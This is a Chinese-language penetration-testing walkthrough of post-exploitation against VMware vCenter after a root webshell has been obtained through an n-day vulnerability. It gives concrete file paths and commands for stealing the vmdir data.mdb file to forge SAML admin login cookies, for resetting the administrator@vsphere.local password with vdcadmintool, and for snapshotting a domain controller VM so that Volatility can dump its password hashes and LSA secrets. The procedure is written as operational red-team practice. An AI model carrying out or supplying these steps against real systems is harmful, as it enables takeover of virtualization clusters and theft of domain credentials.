实战中遇到vCenter后渗透利用
VMware vCenter 是高级服务器管理软件
一、具体操作
1.前提
- 一般遇到vCenter,利用nday或者1day拿到了shell,再进行后续深入利用
- 对于vCenter这类集群系统,获取该类系统的shell没办法把危害最大化。
2.SAML 证书
-
VMware vCenter 提供自己的 SSO 服务,以便用户可以对所有 VMware 服务使用一组凭据。
- VMware Directory (vmdir) 服务主要负责 vCenter SSO 服务并存储关键身份验证信息
- 例如本地 vCenter 用户名和密码哈希以及 SAML 证书。
- VMware Directory (vmdir) 服务主要负责 vCenter SSO 服务并存储关键身份验证信息
-
相对应的vCenter中的 data.mdb 包含证书,可以在 vCenter 备份中以及具有 root 权限的 VCSA 主机上找到。
- 证书以明文形式存储,可用于为任何用户(包括内置管理员)签署任何 SAML 身份验证请求。
-
通过路径查找
-
#Linux /storage/db/vmware-vmdir/data.mdb #Windows c:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
-
-
通过vCenter的备份文件
- vCenter备份内有一个名为lotus_backup.tar.gz 的存档
3.通过nday拿到了一个Vcenter的shell后
-
在对应的系统的文件夹里找到相对应的文件。
-
这里通过CVE-2022-22005拿到了一个webshell,并且权限为root。
-
使用路径 /storage/db/vmware-vmdir/ 去找到我们的data.mdb文件。
-
将data.mdb文件下载下来,并且开始利用脚本工具
-
#https://github.com/horizon3ai/vcenter_saml_login python3 vcenter_saml_login.py -t 10.102.255.62 -p data.mdb
-
-
-
拿到cookie之后可以开始写入cookie并且登录vCenter
-
将Cookie写入后,设置Path路径为/ui后,直接访问,即可成功登录
4.重置Administrator密码
-
这是一个危险性较大的一个操作,并且容易被管理员所发现
- 但是确实是实战当中最方便的一种方法
-
通过nday拿到的webshell,在冰蝎启动一个虚拟终端。
-
在重置密码之前我们需要知道它的域,为了在之后重置密码成功后登录vCenter。
-
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
-
得到域为vsphere.local,我们直接开始重置密码。
-
#Linux /usr/lib/vmware-vmdir/bin/vdcadmintool #Windows C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
-
-
如果直接使用冰蝎的命令执行功能是无法成功的,我们需要启动一个虚拟终端,进行交互。
- 选择3
- 输入administrator以及我们刚才得到的域:vsphere.local。
- 输入 administrator@vsphere.local 之后就会重置密码并且给你一个新的密码。
- 这个时候我们就可以拿新的密码访问Vcenter并成功登录
-
5.DC Hash
-
这里我是推荐直接快照的方法。
-
直接Take Snapshot然后等待快照的完成后点击Datastores。
-
# Volatility2.6内存取证工具 https://github.com/volatilityfoundation/volatility volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem imageinfo volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem --profile=Win8SP0x64 hashdump volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem --profile=Win8SP0x64 lsadump
-